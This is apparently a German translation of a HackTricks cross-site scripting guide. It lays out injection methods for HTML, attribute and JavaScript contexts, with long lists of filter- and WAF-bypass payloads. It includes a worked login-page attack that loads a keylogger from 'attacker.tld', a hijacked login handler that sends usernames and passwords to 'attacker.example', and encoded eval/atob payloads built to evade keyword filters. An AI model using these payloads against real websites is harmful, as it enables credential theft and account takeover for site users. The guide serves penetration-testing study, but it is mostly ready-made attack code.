XSS (Cross Site Scripting)

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Methodik

  1. Prüfe, ob ein von dir kontrollierter Wert (parameters, path, headers?, cookies?) im HTML reflektiert wird oder vom JS-Code verwendet wird.
  2. Bestimme den Kontext, in dem er reflektiert/verwendet wird.
  3. Wenn reflektiert
  4. Prüfe, welche Zeichen du verwenden kannst und bereite abhängig davon das Payload vor:
  5. Im rohen HTML:
  6. Kannst du neue HTML-Tags erstellen?
  7. Kannst du Events oder Attribute verwenden, die das javascript:-Protokoll unterstützen?
  8. Kannst du Schutzmechanismen umgehen?
  9. Wird der HTML-Inhalt von einer clientseitigen JS-Engine (AngularJS, VueJS, Mavo…) interpretiert? Dann könntest du eine Client Side Template Injection ausnutzen.
  10. Falls du keine HTML-Tags erzeugen kannst, die JS-Code ausführen, könntest du eine Dangling Markup - HTML scriptless injection ausnutzen?
  11. Innerhalb eines HTML-Tags:
  12. Kannst du in den rohen HTML-Kontext entkommen?
  13. Kannst du neue Events/Attribute erzeugen, um JS-Code auszuführen?
  14. Unterstützt das Attribut, in dem du feststeckst, die Ausführung von JS?
  15. Kannst du Schutzmechanismen umgehen?
  16. Innerhalb von JavaScript-Code:
  17. Kannst du das <script> Tag beenden/ausbrechen?
  18. Kannst du die Zeichenkette escapen und anderen JS-Code ausführen?
  19. Befinden sich deine Eingaben in Template-Literalen ``?
  20. Kannst du Schutzmechanismen umgehen?
  21. Javascript Funktion, die ausgeführt wird
  22. Du kannst den Namen der auszuführenden Funktion angeben. z.B.: ?callback=alert(1)
  23. Wenn verwendet:
  24. Du könntest ein DOM XSS ausnutzen — achte darauf, wie deine Eingabe kontrolliert wird und ob deine kontrollierte Eingabe von einem Sink verwendet wird.

Wenn du an einem komplexen XSS arbeitest, könnte es interessant sein, Folgendes zu kennen:

Debugging Client Side JS

Reflektierte Werte

Um ein XSS erfolgreich auszunutzen, musst du zuerst einen von dir kontrollierten Wert finden, der in der Webseite reflektiert wird.

  • Zwischenzeitlich reflektiert: Wenn du feststellst, dass der Wert eines Parameters oder sogar des Pfads in der Webseite reflektiert wird, könntest du ein Reflected XSS ausnutzen.
  • Gespeichert und reflektiert: Wenn ein von dir kontrollierter Wert auf dem Server gespeichert wird und bei jedem Zugriff auf eine Seite reflektiert wird, könntest du ein Stored XSS ausnutzen.
  • Über JS zugänglich: Wenn ein von dir kontrollierter Wert mittels JS ausgelesen wird, könntest du ein DOM XSS ausnutzen.

Kontexte

Wenn du versuchst, ein XSS auszunutzen, musst du zuerst wissen, wo deine Eingabe reflektiert wird. Je nach Kontext kannst du auf unterschiedliche Weise beliebigen JS-Code ausführen.

Rohes HTML

Wenn deine Eingabe im rohen HTML reflektiert wird, musst du ein HTML-Tag missbrauchen, um JS-Code auszuführen: <img , <iframe , <svg , <script … das sind nur einige der vielen möglichen HTML-Tags, die du verwenden könntest.
Beachte außerdem Client Side Template Injection.

Innerhalb von HTML-Attributen

Wenn deine Eingabe innerhalb des Werts eines Attributs eines Tags reflektiert wird, kannst du versuchen:

  1. Aus dem Attribut und aus dem Tag auszubrechen (dann befindest du dich im rohen HTML) und ein neues HTML-Tag erstellen, das du missbrauchst: "><img [...]
  2. Falls du aus dem Attribut, aber nicht aus dem Tag ausbrechen kannst (> ist kodiert oder gelöscht), könntest du je nach Tag ein Event erstellen, das JS-Code ausführt: " autofocus onfocus=alert(1) x="
  3. Falls du nicht aus dem Attribut ausbrechen kannst (" wird kodiert oder gelöscht), hängt es davon ab, in welchem Attribut dein Wert reflektiert wird und ob du den gesamten Wert oder nur einen Teil kontrollierst. Zum Beispiel, wenn du ein Event wie onclick= kontrollierst, kannst du ihn so ausführen lassen, dass beim Klicken beliebiger Code ausgeführt wird. Ein weiteres interessantes Beispiel ist das Attribut href, wo du das javascript:-Protokoll verwenden kannst, um beliebigen Code auszuführen: href="javascript:alert(1)"
  4. Wenn deine Eingabe in “nicht-ausnutzbaren Tags” reflektiert wird, könntest du den accesskey-Trick versuchen (du brauchst etwas Social Engineering, um das auszunutzen): " accesskey="x" onclick="alert(1)" x="

Attribute-only login XSS behind WAFs

Eine unternehmensweite SSO-Login-Seite reflektierte den OAuth-Parameter service innerhalb des href-Attributs von <a id="forgot_btn" ...>. Obwohl < und > HTML-kodiert wurden, waren doppelte Anführungszeichen nicht kodiert, sodass der Angreifer das Attribut schließen und dasselbe Element wiederverwenden konnte, um Handler wie " onfocus="payload" x=" einzufügen.

  1. Inject the handler: Einfache Payloads wie onclick="print(1)" wurden geblockt, aber der WAF inspizierte nur die erste JavaScript-Anweisung in Inline-Attributen. Das Präfixen eines harmlosen Ausdrucks in Klammern gefolgt von einem Semikolon erlaubte die Ausführung des eigentlichen Payloads: onfocus="(history.length);malicious_code_here".
  2. Auto-trigger it: Browser fokussieren jedes Element, dessen id mit dem Fragment übereinstimmt, also erzwingt das Anhängen von #forgot_btn an die Exploit-URL, dass der Anchor beim Laden der Seite fokussiert wird und der Handler ohne Klick ausgeführt wird.
  3. Keep the inline stub tiny: Das Ziel hatte bereits jQuery eingebunden. Der Handler musste nur eine Anfrage via $.getScript(...) bootstrappen, während der vollständige Keylogger auf dem Server des Angreifers lag.

Strings ohne Anführungszeichen erstellen

Single quotes wurden URL-kodiert zurückgegeben und escaped double quotes korrumpierten das Attribut, daher erzeugte das Payload jeden String mit String.fromCharCode. Eine Hilfsfunktion macht es einfach, jede URL in Char-Codes umzuwandeln, bevor man sie in das Attribut einfügt:

function toCharCodes(str){
return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});`
}
console.log(toCharCodes('https://attacker.tld/keylogger.js'))

Ein resultierendes Attribut sah folgendermaßen aus:

onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"

Warum das die Anmeldedaten stiehlt

Das externe Script (geladen von einem vom Angreifer kontrollierten Host oder Burp Collaborator) hat document.onkeypress gehookt, Tasteneingaben gepuffert und jede Sekunde new Image().src = collaborator_url + keys ausgeführt. Da das XSS nur für nicht authentifizierte Benutzer ausgelöst wird, ist die sensible Aktion das Login-Formular selbst — der Angreifer zeichnet Benutzernamen und Passwörter auf, selbst wenn das Opfer nie auf “Login” klickt.

Seltsames Beispiel, wie Angular XSS ausführt, wenn man einen Klassennamen kontrolliert:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Innerhalb von JavaScript-Code

In diesem Fall wird Ihre Eingabe zwischen <script> [...] </script> Tags einer HTML-Seite, innerhalb einer .js-Datei oder innerhalb eines Attributs mit dem javascript:-Protokoll reflektiert:

  • Wenn die Eingabe zwischen <script> [...] </script> Tags reflektiert wird, selbst wenn Ihre Eingabe in irgendeiner Art von Anführungszeichen steht, können Sie versuchen, </script> zu injizieren und aus diesem Kontext zu entkommen. Das funktioniert, weil der Browser zuerst die HTML-Tags parst und dann den Inhalt, daher wird er nicht bemerken, dass Ihr injiziertes </script>-Tag sich im HTML-Code befindet.
  • Wenn es inside a JS string reflektiert wird und der letzte Trick nicht funktioniert, müssen Sie die Zeichenkette beenden, Ihren Code ausführen und den JS-Code rekonstruieren (wenn ein Fehler auftritt, wird er nicht ausgeführt):
  • '-alert(1)-'
  • ';-alert(1)//
  • \';alert(1)//
  • Wenn es innerhalb von template literals reflektiert wird, können Sie JS-Ausdrücke einbetten using ${ ... } syntax: var greetings = `Hello, ${alert(1)}`
  • Unicode encode funktioniert, um gültigen javascript code zu schreiben:
alert(1)
alert(1)
alert(1)

Javascript Hoisting

Javascript Hoisting bezeichnet die Möglichkeit, Funktionen, Variablen oder Klassen erst nach ihrer Verwendung zu deklarieren, sodass man Szenarien ausnutzen kann, in denen ein XSS undeclared Variablen oder Funktionen verwendet.
Siehe die folgende Seite für mehr Infos:

JS Hoisting

Javascript Function

Mehrere Webseiten haben Endpunkte, die als Parameter den Namen der auszuführenden Funktion akzeptieren. Ein häufiges Beispiel in der Praxis ist so etwas wie: ?callback=callbackFunc.

Eine gute Methode, um herauszufinden, ob etwas, das direkt vom Benutzer kommt, ausgeführt werden soll, ist den Parameterwert zu ändern (zum Beispiel in ‘Vulnerable’) und in der console nach Fehlern wie:

Falls es verwundbar ist, könntest du ein alert auslösen, indem du einfach den Wert sendest: ?callback=alert(1). Es ist jedoch sehr üblich, dass diese Endpunkte den Inhalt validieren, sodass nur Buchstaben, Zahlen, Punkte und Unterstriche erlaubt sind ([\w\._]).

Selbst mit dieser Einschränkung ist es jedoch weiterhin möglich, bestimmte Aktionen auszuführen. Das liegt daran, dass du diese erlaubten Zeichen verwenden kannst, um auf beliebige Elemente im DOM zuzugreifen:

Einige nützliche Funktionen dafür:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

Du kannst auch versuchen, Javascript-Funktionen direkt auszulösen: obj.sales.delOrders.

Allerdings sind die Endpoints, die die angegebene Funktion ausführen, normalerweise Endpoints ohne viel interessantes DOM; andere Seiten in derselben Origin haben oft ein interessanteres DOM, um mehr Aktionen durchzuführen.

Daher wurde zur Ausnutzung dieser Schwachstelle in einem anderen DOM die Exploit-Technik Same Origin Method Execution (SOME) entwickelt:

SOME - Same Origin Method Execution

DOM

Es gibt JS-Code, der unsicher Daten verwendet, die von einem Angreifer kontrolliert werden, wie z.B. location.href. Ein Angreifer könnte dies ausnutzen, um beliebigen JS-Code auszuführen.

DOM XSS

Universal XSS

Diese Art von XSS kann überall gefunden werden. Sie hängen nicht nur von der Client-Ausnutzung einer Webanwendung ab, sondern von jedem Kontext. Diese Art von beliebiger JavaScript-Ausführung kann sogar missbraucht werden, um RCE zu erlangen, beliebige Dateien auf Clients und Servern zu lesen und mehr.
Einige Beispiele:

Server Side XSS (Dynamic PDF)

Electron Desktop Apps

WAF-Bypass-Kodierungsbild

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

Injektion in rohes HTML

Wenn deine Eingabe innerhalb der HTML-Seite reflektiert wird oder du in diesem Kontext HTML-Code escapen und injizieren kannst, ist das erste, was du tun musst, prüfen, ob du < missbrauchen kannst, um neue Tags zu erstellen: Versuche einfach, dieses Zeichen zu reflektieren und prüfe, ob es HTML-encodiert oder gelöscht wird oder ob es unverändert reflektiert wird. Nur im letzten Fall kannst du diesen Fall ausnutzen.
Für diese Fälle beachte auch Client Side Template Injection.
Hinweis: A HTML comment can be closed using****-->****or **--!>**

In diesem Fall und wenn kein Black-/Whitelisting verwendet wird, könntest du Payloads wie:

<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>

Aber, wenn tags/attributes Black-/Whitelist-Mechanismen verwendet werden, wirst du brute-force herausfinden müssen, welche tags du erstellen kannst.
Sobald du lokalisiert hast, welche tags erlaubt sind, musst du brute-force die attributes/events innerhalb der gefundenen gültigen tags durchführen, um zu sehen, wie du den Kontext angreifen kannst.

Tags/Events brute-force

Gehe zu https://portswigger.net/web-security/cross-site-scripting/cheat-sheet und klicke auf Copy tags to clipboard. Sende dann alle mit Burp intruder und prüfe, ob irgendein tag nicht vom WAF als bösartig erkannt wurde. Sobald du entdeckt hast, welche tags du verwenden kannst, kannst du brute force alle events mit den gültigen tags durchführen (auf derselben Seite auf Copy events to clipboard klicken und das gleiche Vorgehen wie zuvor anwenden).

Custom tags

Wenn du kein gültiges HTML tag gefunden hast, kannst du versuchen, ein custom tag zu erstellen und JS code mit dem onfocus-Attribut auszuführen. In der XSS-Anfrage musst du die URL mit # beenden, damit die Seite den Fokus auf dieses Objekt setzt und den Code ausführt:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Blacklist Bypasses

Wenn irgendeine Form von blacklist verwendet wird, kannst du versuchen, sie mit ein paar einfachen Tricks zu umgehen:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Length bypass (small XSSs)

[!NOTE] > Weitere tiny XSS payloads für verschiedene Umgebungen finden Sie hier und hier.

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>

Das letzte verwendet 2 Unicode-Zeichen, die sich zu 5 erweitern: telsr
Weitere dieser Zeichen findest du here.
Um zu prüfen, in welche Zeichen sie zerlegt werden, siehe here.

Click XSS - Clickjacking

Wenn du, um die Vulnerability auszunutzen, den Benutzer dazu bringen musst, auf einen Link oder ein Formular mit vorausgefüllten Daten zu klicken, kannst du versuchen, abuse Clickjacking (falls die Seite verwundbar ist).

Unmöglich - Dangling Markup

Wenn du denkst, dass es unmöglich ist, ein HTML-Tag mit einem Attribut zu erstellen, das JS-Code ausführt, solltest du Danglig Markup prüfen, weil du die vulnerability exploiten könntest ohne JS-Code auszuführen.

Injecting inside HTML tag

Inside the tag/escaping from attribute value

Wenn du dich innerhalb eines HTML-Tags befindest, ist das Erste, das du versuchen könntest, aus dem Tag zu escapen und einige der in der previous section erwähnten Techniken zu verwenden, um JS-Code auszuführen.
Wenn du nicht aus dem Tag escapen kannst, könntest du neue Attribute innerhalb des Tags erstellen, um zu versuchen, JS-Code auszuführen, zum Beispiel mit einem payload wie (note that in this example double quotes are use to escape from the attribute, you won’t need them if your input is reflected directly inside the tag):

" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Style-Ereignisse

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

Innerhalb des Attributs

Selbst wenn du nicht aus dem Attribut entkommen kannst (" wird kodiert oder gelöscht), wirst du, je nachdem in welches Attribut dein Wert reflektiert wird und ob du den gesamten Wert oder nur einen Teil kontrollierst, in der Lage sein, es zu missbrauchen. Zum Beispiel, wenn du ein Event wie onclick= kontrollierst, kannst du es so einrichten, dass beim Klicken beliebiger Code ausgeführt wird.
Ein weiteres interessantes Beispiel ist das Attribut href, wo du das javascript:-Protokoll verwenden kannst, um beliebigen Code auszuführen: href="javascript:alert(1)"

Umgehung innerhalb von Events mittels HTML-Encoding/URL-Encoding

Die HTML-kodierten Zeichen innerhalb des Werts von HTML-Tag-Attributen werden zur Laufzeit dekodiert. Daher ist so etwas wie das Folgende gültig (die payload ist fett): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

Beachte, dass jede Art von HTML-Encoding gültig ist:

//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

Beachte, dass URL encode ebenfalls funktioniert:

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Bypass innerhalb des event mithilfe von Unicode encode

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Spezielle Protokolle innerhalb des Attributs

Dort können Sie die Protokolle javascript: oder data: an einigen Stellen verwenden, um beliebigen JS-Code auszuführen. Manche erfordern Benutzerinteraktion, andere nicht.

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
javascript:alert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Orte, an denen du diese Protokolle einfügen kannst

Im Allgemeinen kann das javascript:-Protokoll in jedem Tag verwendet werden, der das Attribut href akzeptiert und in den meisten Tags, die das Attribut src akzeptieren (aber nicht <img)

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Other obfuscation tricks

In diesem Fall sind der HTML encoding- und der Unicode encoding-Trick aus dem vorherigen Abschnitt ebenfalls gültig, da du dich in einem Attribut befindest.

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Außerdem gibt es einen weiteren netten Trick für diese Fälle: Selbst wenn deine Eingabe innerhalb von javascript:... URL encoded wird, wird sie vor ihrer Ausführung URL decoded. Wenn du also escape aus dem string mit einem single quote brauchst und siehst, dass it’s being URL encoded, denk daran, dass es keine Rolle spielt, es wird interpretiert als ein single quote während der Ausführung.

&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Beachte, dass wenn du versuchst, beide URLencode + HTMLencode in beliebiger Reihenfolge auf die payload anzuwenden, es nicht funktioniert, du kannst sie aber in der payload mischen.

Verwendung von Hex und Octal encode mit javascript:

Du kannst Hex und Octal encode innerhalb des src-Attributs von iframe (zumindest) verwenden, um HTML tags zur Ausführung von JS zu deklarieren:

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Reverse tab nabbing

<a target="_blank" rel="opener"

If you can inject any URL in an arbitrary <a href= tag that contains the target="_blank" and rel="opener" attributes, check the following page to exploit this behavior:

Reverse Tab Nabbing

Umgehung von “on” Event-Handlern

Zuerst prüfe diese Seite (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) für nützliche “on” event handlers.
Falls eine blacklist verhindert, dass du diese event handlers erstellen kannst, kannst du die folgenden bypasses versuchen:

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

Von here ist es jetzt möglich, hidden inputs mit folgenden Methoden zu missbrauchen:

<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />

Und in Meta-Tags:

<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

Aus here: Sie können ein XSS payload inside a hidden attribute ausführen, vorausgesetzt, Sie können die victim dazu überreden, die Tastenkombination zu drücken. Unter Firefox Windows/Linux ist die Tastenkombination ALT+SHIFT+X und unter OS X ist sie CTRL+ALT+X. Sie können eine andere Tastenkombination angeben, indem Sie eine andere Taste im access key attribute verwenden. Hier ist der Vektor:

<input type="hidden" accesskey="X" onclick="alert(1)">

Die XSS-Payload sieht etwa so aus: " accesskey="x" onclick="alert(1)" x="

Blacklist Bypasses

Mehrere Tricks unter Verwendung verschiedener encodings wurden bereits in diesem Abschnitt gezeigt. Gehe zurück, um zu lernen, wo du sie verwenden kannst:

  • HTML encoding (HTML tags)
  • Unicode encoding (can be valid JS code): \u0061lert(1)
  • URL encoding
  • Hex and Octal encoding
  • data encoding

Bypasses for HTML tags and attributes

Lies die Blacklist Bypasses of the previous section.

Bypasses for JavaScript code

Lies die JavaScript bypass blacklist of the following section.

CSS-Gadgets

Wenn du eine XSS in einem sehr kleinen Bereich der Website gefunden hast, die eine Art von Interaktion erfordert (z. B. ein kleiner Link im Footer mit einem onmouseover-Element), kannst du versuchen, den Raum, den dieses Element einnimmt, zu verändern, um die Wahrscheinlichkeit zu maximieren, dass der Link ausgelöst wird.

Zum Beispiel könntest du dem Element folgendes Styling hinzufügen: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

Wenn jedoch der WAF das style-Attribut filtert, kannst du CSS Styling Gadgets einsetzen. Wenn du zum Beispiel folgendes findest

.test {display:block; color: blue; width: 100%}

und

#someid {top: 0; font-family: Tahoma;}

Jetzt kannst du unseren Link ändern und ihn folgendermaßen gestalten

<a href=“” id=someid class=test onclick=alert() a=“”>

Dieser Trick stammt von https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Injection innerhalb von JavaScript-Code

In diesem Fall wird deine input innerhalb des JS-Codes einer .js-Datei oder zwischen <script>...</script>-Tags reflektiert oder zwischen HTML-Events, die JS-Code ausführen können, oder innerhalb von Attributen, die das javascript:-Protokoll akzeptieren.

Escaping <script> tag

Wenn dein Code innerhalb von <script> [...] var input = 'reflected data' [...] </script> eingefügt wird, könntest du leicht das Schließen des <script>-Tags umgehen:

</script><img src=1 onerror=alert(document.domain)>

Beachte, dass wir in diesem Beispiel nicht einmal das einfache Anführungszeichen geschlossen haben. Das liegt daran, dass das HTML-Parsing zuerst vom Browser durchgeführt wird, wobei Seitelemente, einschließlich Script-Blöcken, identifiziert werden. Das Parsen von JavaScript, um die eingebetteten Skripte zu verstehen und auszuführen, erfolgt erst danach.

Im JS-Code

Wenn <> bereinigt werden, kannst du trotzdem den String escapen, wo deine Eingabe platziert ist, und beliebiges JS ausführen. Es ist wichtig, die JS-Syntax zu korrigieren, denn wenn Fehler vorhanden sind, wird der JS-Code nicht ausgeführt:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

JS-in-JS string break → inject → repair pattern

Wenn Benutzereingaben innerhalb eines in Anführungszeichen stehenden JavaScript string landen (z. B. server-side echo in ein inline script), kannst du den string beenden, code injecten und die Syntax reparieren, damit das parsing gültig bleibt. Generisches Gerüst:

"            // end original string
;            // safely terminate the statement
<INJECTION>  // attacker-controlled JS
; a = "      // repair and resume expected string/statement

Beispiel-URL-Muster, wenn der verwundbare Parameter in einen JS-String reflektiert wird:

?param=test";<INJECTION>;a="

Dies führt Angreifer-JS aus, ohne den HTML-Kontext berühren zu müssen (reines JS-in-JS). Mit den untenstehenden Blacklist-Umgehungen kombinieren, wenn Filter Keywords blockieren.

Template literals ``

Um Strings zu konstruieren akzeptiert JS neben einfachen und doppelten Anführungszeichen auch backticks ``. Dies ist als template literals bekannt, da sie das Einbetten von JS-Ausdrücken mittels ${ ... }-Syntax erlauben.
Wenn dein Input also innerhalb eines JS-Strings, der backticks verwendet, reflektiert wird, kannst du die ${ ... }-Syntax missbrauchen, um beliebigen JS-Code auszuführen:

Das kann wie folgt missbraucht werden:

;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``

Codierte code-Ausführung

<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">

Auslieferbare payloads mit eval(atob()) und Scope-Nuancen

Um URLs kürzer zu halten und naiven Keyword-Filtern zu entgehen, kannst du deine eigentliche Logik base64-kodieren und sie mit eval(atob('...')) auswerten. Wenn einfache Keyword-Filter Bezeichner wie alert, eval oder atob blockieren, verwende Unicode-escaped Bezeichner, die im Browser identisch kompiliert werden, aber String-Matching-Filter umgehen:

\u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))

Wichtiger Scoping-Hinweis: const/let, die innerhalb von eval() deklariert werden, sind auf Blockebene begrenzt und erzeugen KEINE globalen Variablen; sie sind späteren Skripten nicht zugänglich. Verwende ein dynamisch injiziertes <script>-Element, um bei Bedarf globale, nicht überschreibbare Hooks zu definieren (z. B. um einen Formular-Handler zu kapern):

var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);

Referenz: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

Unicode-kodierte JS-Ausführung

alert(1)
alert(1)
alert(1)

JavaScript-Techniken zum Umgehen von Blacklists

Strings

"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Spezielle Escapes

"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself

Leerzeichen-Ersetzungen innerhalb von JS code

<TAB>
/**/

JavaScript-Kommentare (aus JavaScript Comments Trick)

//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
